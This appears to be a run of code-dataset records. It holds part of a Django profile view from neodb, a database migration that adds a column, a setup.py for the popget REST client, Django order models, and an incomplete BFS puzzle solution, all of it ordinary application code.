ItemCategory.Book,\n ItemCategory.Movie,\n ItemCategory.TV,\n ItemCategory.Music,\n ItemCategory.Game,\n ]\n for category in visbile_categories:\n shelf_list[category] = {}\n for shelf_type in ShelfType:\n members = (\n user.shelf_manager.get_members(shelf_type, category)\n .filter(qv)\n .order_by(\"-created_time\")\n )\n shelf_list[category][shelf_type] = {\n \"title\": user.shelf_manager.get_label(shelf_type, category),\n \"count\": members.count(),\n \"members\": members[:5].prefetch_related(\"item\"),\n }\n reviews = (\n Review.objects.filter(owner=user)\n .filter(qv)\n .filter(query_item_category(category))\n .order_by(\"-created_time\")\n )\n shelf_list[category][\"reviewed\"] = {\n \"title\": \"评论过的\" + category.label,\n \"count\": reviews.count(),\n \"members\": reviews[:5].prefetch_related(\"item\"),\n }\n collections = (\n Collection.objects.filter(owner=user).filter(qv).order_by(\"-created_time\")\n )\n liked_collections = (\n Like.user_likes_by_class(user, Collection)\n .order_by(\"-edited_time\")\n .values_list(\"target_id\", flat=True)\n )\n if user != request.user:\n liked_collections = liked_collections.filter(query_visible(request.user))\n\n return render(\n request,\n \"profile.html\",\n {\n \"user\": user,\n \"top_tags\": user.tag_manager.all_tags[:10],\n \"shelf_list\": shelf_list,\n \"collections\": collections[:5],\n \"collections_count\": collections.count(),\n \"liked_collections\": [\n Collection.objects.get(id=i)\n for i in liked_collections.order_by(\"-edited_time\")[:5]\n ],\n \"liked_collections_count\": liked_collections.count(),\n \"layout\": user.get_preference().profile_layout,\n \"reports\": reports,\n \"unread_announcements\": unread_announcements,\n },\n )\n", "repo_name": "cnphil/neodb", "sub_path": "journal/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 26456, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 31, "usage_type": "call"}, {"api_name": "django.http.HttpResponseBadRequest", "line_number": 40, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 41, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62.decode", "line_number": 41, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62", "line_number": 41, "usage_type": "name"}, {"api_name": "django.http.HttpResponseNotFound", "line_number": 43, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 46, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 47, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 37, "usage_type": "name"}, {"api_name": "django.http.HttpResponseBadRequest", "line_number": 53, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 54, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62.decode", "line_number": 54, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62", "line_number": 54, "usage_type": "name"}, {"api_name": "django.http.HttpResponseNotFound", "line_number": 56, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 59, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 60, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 50, "usage_type": "name"}, {"api_name": "django.http.HttpResponseBadRequest", "line_number": 66, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 67, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62.decode", "line_number": 67, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62", "line_number": 67, "usage_type": "name"}, {"api_name": "django.http.HttpResponseNotFound", "line_number": 69, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 72, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 73, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 63, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 78, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62.decode", "line_number": 78, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62", "line_number": 78, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 81, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 97, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 76, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 101, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 105, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 106, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 107, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 116, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62.decode", "line_number": 116, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62", "line_number": 116, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 124, "usage_type": "call"}, {"api_name": "django.utils.timezone.localdate", "line_number": 133, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 133, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 139, "usage_type": "call"}, {"api_name": "django.utils.timezone.get_current_timezone", "line_number": 153, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 153, "usage_type": "name"}, {"api_name": "django.utils.dateparse.parse_datetime", "line_number": 154, "usage_type": "call"}, {"api_name": "django.utils.timezone.now", "line_number": 156, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 156, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 171, "usage_type": "call"}, {"api_name": "django.http.HttpResponseBadRequest", "line_number": 172, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 114, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 176, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62.decode", "line_number": 176, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62", "line_number": 176, "usage_type": "name"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 178, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 206, "usage_type": "call"}, {"api_name": "django.http.HttpResponseBadRequest", "line_number": 222, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 223, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62.decode", "line_number": 223, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62", "line_number": 223, "usage_type": "name"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 225, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 227, "usage_type": "call"}, {"api_name": "django.http.HttpResponseBadRequest", "line_number": 232, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 233, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62.decode", "line_number": 233, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62", "line_number": 233, "usage_type": "name"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 235, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 241, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 246, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62.decode", "line_number": 246, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62", "line_number": 246, "usage_type": "name"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 251, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 253, "usage_type": "call"}, {"api_name": "mastodon.api.share_collection", "line_number": 257, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 258, "usage_type": "call"}, {"api_name": "django.http.HttpResponseBadRequest", "line_number": 262, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 266, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62.decode", "line_number": 266, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62", "line_number": 266, "usage_type": "name"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 268, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 270, "usage_type": "call"}, {"api_name": "user_messages.api", "line_number": 277, "usage_type": "name"}, {"api_name": "django.http.HttpResponseBadRequest", "line_number": 285, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 286, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62.decode", "line_number": 286, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62", "line_number": 286, "usage_type": "name"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 288, "usage_type": "call"}, {"api_name": "user_messages.api", "line_number": 296, "usage_type": "name"}, {"api_name": "user_messages.api", "line_number": 298, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 298, "usage_type": "call"}, {"api_name": "user_messages.api", "line_number": 299, "usage_type": "argument"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 282, "usage_type": "name"}, {"api_name": "django.http.HttpResponseBadRequest", "line_number": 305, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 306, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62.decode", "line_number": 306, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62", "line_number": 306, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 307, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62.decode", "line_number": 307, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62", "line_number": 307, "usage_type": "name"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 309, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 302, "usage_type": "name"}, {"api_name": "django.http.HttpResponseBadRequest", "line_number": 317, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 318, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62.decode", "line_number": 318, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62", "line_number": 318, "usage_type": "name"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 320, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 321, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62.decode", "line_number": 321, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62", "line_number": 321, "usage_type": "name"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 314, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 331, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62.decode", "line_number": 331, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62", "line_number": 331, "usage_type": "name"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 333, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 334, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62.decode", "line_number": 334, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62", "line_number": 334, "usage_type": "name"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 336, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 344, "usage_type": "call"}, {"api_name": "django.http.HttpResponseBadRequest", "line_number": 350, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 329, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 356, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62.decode", "line_number": 356, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62", "line_number": 356, "usage_type": "name"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 361, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 364, "usage_type": "call"}, {"api_name": "django.utils.timezone.now", "line_number": 376, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 376, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 378, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 379, "usage_type": "call"}, {"api_name": "django.http.HttpResponseBadRequest", "line_number": 382, "usage_type": "call"}, {"api_name": "django.http.HttpResponseBadRequest", "line_number": 384, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 353, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 388, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62.decode", "line_number": 388, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62", "line_number": 388, "usage_type": "name"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 390, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 391, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 396, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62.decode", "line_number": 396, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62", "line_number": 396, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 398, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62.decode", "line_number": 398, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62", "line_number": 398, "usage_type": "name"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 403, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 410, "usage_type": "call"}, {"api_name": "django.utils.timezone.now", "line_number": 420, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 420, "usage_type": "name"}, {"api_name": "mastodon.api.share_review", "line_number": 425, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 427, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 428, "usage_type": "call"}, {"api_name": "django.http.HttpResponseBadRequest", "line_number": 431, "usage_type": "call"}, {"api_name": "django.http.HttpResponseBadRequest", "line_number": 433, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 394, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 438, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62.decode", "line_number": 438, "usage_type": "call"}, {"api_name": "django.utils.baseconv.base62", "line_number": 438, "usage_type": "name"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 441, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 443, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 448, "usage_type": "call"}, {"api_name": "django.http.HttpResponseBadRequest", "line_number": 450, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 436, "usage_type": "name"}, {"api_name": "user_messages.api", "line_number": 454, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 454, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 455, "usage_type": "call"}, {"api_name": "user_messages.api", "line_number": 459, "usage_type": "name"}, {"api_name": "users.models.User.get", "line_number": 467, "usage_type": "call"}, {"api_name": "users.models.User", "line_number": 467, "usage_type": "name"}, {"api_name": "users.views.render_user_not_found", "line_number": 469, "usage_type": "call"}, {"api_name": "users.views.render_user_blocked", "line_number": 473, "usage_type": "call"}, {"api_name": "django.http.HttpResponseBadRequest", "line_number": 488, "usage_type": "call"}, {"api_name": "django.core.paginator.Paginator", "line_number": 492, "usage_type": "call"}, {"api_name": "common.utils.PageLinksGenerator", "line_number": 495, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 496, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 503, "usage_type": "name"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 510, "usage_type": "name"}, {"api_name": "django.http.HttpResponseNotFound", "line_number": 520, "usage_type": "call"}, {"api_name": "django.http.HttpResponseNotFound", "line_number": 523, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 524, "usage_type": "call"}, {"api_name": "user_messages.api.error", "line_number": 534, "usage_type": "call"}, {"api_name": "user_messages.api", "line_number": 534, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 534, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 535, "usage_type": "call"}, {"api_name": "user_messages.api.info", "line_number": 538, "usage_type": "call"}, {"api_name": "user_messages.api", "line_number": 538, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 538, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 539, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 540, "usage_type": "call"}, {"api_name": "user_messages.api.error", "line_number": 546, "usage_type": "call"}, {"api_name": "user_messages.api", "line_number": 546, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 546, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 547, "usage_type": "call"}, {"api_name": "user_messages.api.info", "line_number": 552, "usage_type": "call"}, {"api_name": "user_messages.api", "line_number": 552, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 552, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 553, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 554, "usage_type": "call"}, {"api_name": "django.http.HttpResponseBadRequest", "line_number": 559, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 515, "usage_type": "name"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 562, "usage_type": "name"}, {"api_name": "users.models.User.get", "line_number": 569, "usage_type": "call"}, {"api_name": "users.models.User", "line_number": 569, "usage_type": "name"}, {"api_name": "users.views.render_user_not_found", "line_number": 571, "usage_type": "call"}, {"api_name": "users.views.render_user_blocked", "line_number": 575, "usage_type": "call"}, {"api_name": "django.db.models.Count", "line_number": 579, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 580, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 567, "usage_type": "name"}, {"api_name": "users.models.User.get", "line_number": 592, "usage_type": "call"}, {"api_name": "users.models.User", "line_number": 592, "usage_type": "name"}, {"api_name": "users.views.render_user_not_found", "line_number": 594, "usage_type": "call"}, {"api_name": "users.views.render_user_blocked", "line_number": 598, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 605, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 590, "usage_type": "name"}, {"api_name": "users.models.User.get", "line_number": 617, "usage_type": "call"}, {"api_name": "users.models.User", "line_number": 617, "usage_type": "name"}, {"api_name": "users.views.render_user_not_found", "line_number": 619, "usage_type": "call"}, {"api_name": "users.views.render_user_blocked", "line_number": 623, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 627, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 615, "usage_type": "name"}, {"api_name": "django.conf.settings.LOGIN_URL", "line_number": 638, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 638, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 642, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 652, "usage_type": "call"}, {"api_name": "django.http.HttpResponseBadRequest", "line_number": 657, "usage_type": "call"}, {"api_name": "users.models.User.get", "line_number": 658, "usage_type": "call"}, {"api_name": "users.models.User", "line_number": 658, "usage_type": "name"}, {"api_name": "users.views.render_user_not_found", "line_number": 660, "usage_type": "call"}, {"api_name": "users.models.Report.objects.order_by", "line_number": 665, "usage_type": "call"}, {"api_name": "users.models.Report.objects", "line_number": 665, "usage_type": "attribute"}, {"api_name": "users.models.Report", "line_number": 665, "usage_type": "name"}, {"api_name": "management.models.Announcement.objects.filter", "line_number": 666, "usage_type": "call"}, {"api_name": "management.models.Announcement.objects", "line_number": 666, "usage_type": "attribute"}, {"api_name": "management.models.Announcement", "line_number": 666, "usage_type": "name"}, {"api_name": "management.models.Announcement.objects.latest", "line_number": 670, "usage_type": "call"}, {"api_name": "management.models.Announcement.objects", "line_number": 670, "usage_type": "attribute"}, {"api_name": "management.models.Announcement", "line_number": 670, "usage_type": "name"}, {"api_name": "django.core.exceptions.ObjectDoesNotExist", "line_number": 672, "usage_type": "name"}, {"api_name": "users.views.render_user_blocked", "line_number": 678, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 727, "usage_type": "call"}]} {"seq_id": "9890886975", "text": "# coding: utf-8\n\"\"\"\nAdd objects_readable_by_all_users_by_default column to actions table.\n\"\"\"\n\nimport os\n\nimport flask_sqlalchemy\n\nfrom .utils import table_has_column\nfrom .components_add_discoverable import MIGRATION_INDEX as PREVIOUS_MIGRATION_INDEX\n\nMIGRATION_INDEX = PREVIOUS_MIGRATION_INDEX + 1\nMIGRATION_NAME, _ = os.path.splitext(os.path.basename(__file__))\n\n\ndef run(db: flask_sqlalchemy.SQLAlchemy) -> bool:\n # Skip migration by condition\n if table_has_column('actions', 'objects_readable_by_all_users_by_default'):\n return False\n\n # Perform migration\n db.session.execute(db.text(\"\"\"\n ALTER TABLE actions\n ADD objects_readable_by_all_users_by_default BOOLEAN DEFAULT FALSE NOT NULL\n \"\"\"))\n return True\n", "repo_name": "sciapp/sampledb", "sub_path": "sampledb/models/migrations/actions_add_objects_readable_by_all_users_by_default.py", "file_name": "actions_add_objects_readable_by_all_users_by_default.py", "file_ext": "py", "file_size_in_byte": 750, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 21, "dataset": "github-code", "pt": "7", "api": [{"api_name": "components_add_discoverable.MIGRATION_INDEX", "line_number": 13, "usage_type": "name"}, {"api_name": "os.path.splitext", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 14, "usage_type": "call"}, {"api_name": "flask_sqlalchemy.SQLAlchemy", "line_number": 17, "usage_type": "attribute"}, {"api_name": "utils.table_has_column", "line_number": 19, "usage_type": "call"}]} {"seq_id": "33078996382", "text": "from setuptools import setup\nfrom codecs import open # To use a consistent encoding\nfrom os import path\n\n\nhere = path.abspath(path.dirname(__file__))\n\n\n# Get the long description from the README file\nwith open(path.join(here, 'README.rst'), encoding='utf-8') as f:\n long_description = f.read()\n\n# Get content from __about__.py\nabout = {}\nwith open(path.join(here, 'popget', '__about__.py'), 'r', 'utf-8') as f:\n exec(f.read(), about)\n\n\nsetup(\n name='popget',\n\n # Versions should comply with PEP440. For a discussion on single-sourcing\n # the version across setup.py and the project code, see\n # https://packaging.python.org/en/latest/single_source_version.html\n version=about['__version__'],\n\n description='Simple REST-API client for Python.',\n long_description=long_description,\n\n url='https://github.com/depop/popget',\n\n author='Depop',\n author_email='dev@depop.com',\n\n license='Apache 2.0',\n classifiers=[\n 'Environment :: Web Environment',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: Apache Software License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3.11',\n ],\n install_requires=[\n 'requests<3.0.0',\n 'six<2.0.0',\n 'enum34<2.0.0',\n 'futures<4.0.0',\n 'requests-futures>=0.9.7,<1.0.0',\n ],\n\n packages=[\n 'popget',\n 'popget.nonblocking',\n 'popget.conf',\n ],\n)\n", "repo_name": "depop/popget", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 1607, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 18, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.abspath", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path", "line_number": 6, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 6, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "name"}, {"api_name": "codecs.open", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "name"}, {"api_name": "setuptools.setup", "line_number": 19, "usage_type": "call"}]} {"seq_id": "15295398313", "text": "from django.db import models\nfrom django.utils import timezone\nfrom django.contrib.auth.models import User\nfrom agent.models import Customer\nfrom product.models import Product\n\n\n# Create your models here.\n\nclass Order(models.Model):\n class Meta:\n db_table = 'itw_order'\n verbose_name = 'order'\n verbose_name_plural = 'orders'\n\n code = models.IntegerField()\n code_year = models.IntegerField(default=timezone.now().year)\n date_registered = models.DateTimeField(default=timezone.now)\n customer = models.ForeignKey(Customer, on_delete=models.CASCADE)\n creator = models.ForeignKey(User, on_delete=models.CASCADE)\n\n def __str__(self):\n return str(self.code)\n\n\nclass Counter(models.Model):\n class Meta:\n db_table = 'itw_counter'\n verbose_name = 'counter'\n verbose_name_plural = 'counters'\n\n name = models.CharField(max_length=10)\n value = models.IntegerField()\n\n def __str__(self):\n return self.name\n\n\nclass OrderUnit(models.Model):\n class Meta:\n db_table = 'itw_order_unit'\n verbose_name = 'order_unit'\n verbose_name_plural = 'order_units'\n\n order = models.ForeignKey(Order, on_delete=models.CASCADE, related_name='order_units')\n product = models.ForeignKey(Product, on_delete=models.CASCADE, related_name='order_units')\n amount = models.IntegerField()\n price = models.FloatField()\n\n def __str__(self):\n return str(self.id)\n", "repo_name": "emilian-01/order_backend", "sub_path": "order/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 1453, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.db.models.Model", "line_number": 10, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 10, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 16, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 16, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 17, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 17, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 18, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 18, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 18, "usage_type": "attribute"}, {"api_name": "django.utils.timezone", "line_number": 18, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 19, "usage_type": "call"}, {"api_name": "agent.models.Customer", "line_number": 19, "usage_type": "argument"}, {"api_name": "django.db.models", "line_number": 19, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 19, "usage_type": "attribute"}, {"api_name": "django.db.models.ForeignKey", "line_number": 20, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User", "line_number": 20, "usage_type": "argument"}, {"api_name": "django.db.models", "line_number": 20, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 20, "usage_type": "attribute"}, {"api_name": "django.db.models.Model", "line_number": 26, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 26, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 32, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 32, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 33, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 33, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 39, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 39, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 45, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 45, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 45, "usage_type": "attribute"}, {"api_name": "product.models", "line_number": 46, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 46, "usage_type": "call"}, {"api_name": "product.models.Product", "line_number": 46, "usage_type": "argument"}, {"api_name": "django.db.models", "line_number": 46, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 46, "usage_type": "attribute"}, {"api_name": "django.db.models.IntegerField", "line_number": 47, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 47, "usage_type": "name"}, {"api_name": "django.db.models.FloatField", "line_number": 48, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 48, "usage_type": "name"}]} {"seq_id": "43342858113", "text": "import sys\ninput=sys.stdin.readline\nfrom collections import deque\n\ndx =[-2,-1,1,2,-2,-1,1,2]\ndy =[-1,-2,-2,-1,1,2,2,1]\n\ndx2=[1,-1,0,0]\ndy2=[0,0,1,-1]\n\ndef horse():\n ST = deque()\n ST.append((0,0,0,0))\n visited = [[[0,0]]*W for _ in range(H)]\n visited[0][0] =[1,0]\n \n while ST:\n X,Y,cnt,jump = ST.popleft()\n if X == W-1 and Y==H-1:\n print(cnt)\n return\n\n for j in range(4):\n X1 = X + dx2[j]\n Y1 = Y + dy2[j]\n if 0 <= X1 < W and 0 <= Y1 < H and road[Y1][X1] != 1:\n if visited[Y1][X1][0] and visited[Y1][X1][1] > jump:\n ST.append((X1, Y1, cnt + 1, jump))\n visited[Y1][X1][1] = jump\n elif visited[Y1][X1][0] == 0:\n ST.append((X1,Y1,cnt+1,jump))\n visited[Y1][X1] = [1,jump]\n\n\n if jump < K:\n for i in range(8):\n X1 = X + dx[i]\n Y1 = Y + dy[i]\n if 0 <= X1 < W and 0 <= Y1 < H and road[Y1][X1] != 1:\n if visited[Y1][X1][0] and visited[Y1][X1][1] > jump+1:\n ST.append((X1, Y1, cnt+1, jump+1))\n visited[Y1][X1][1] = 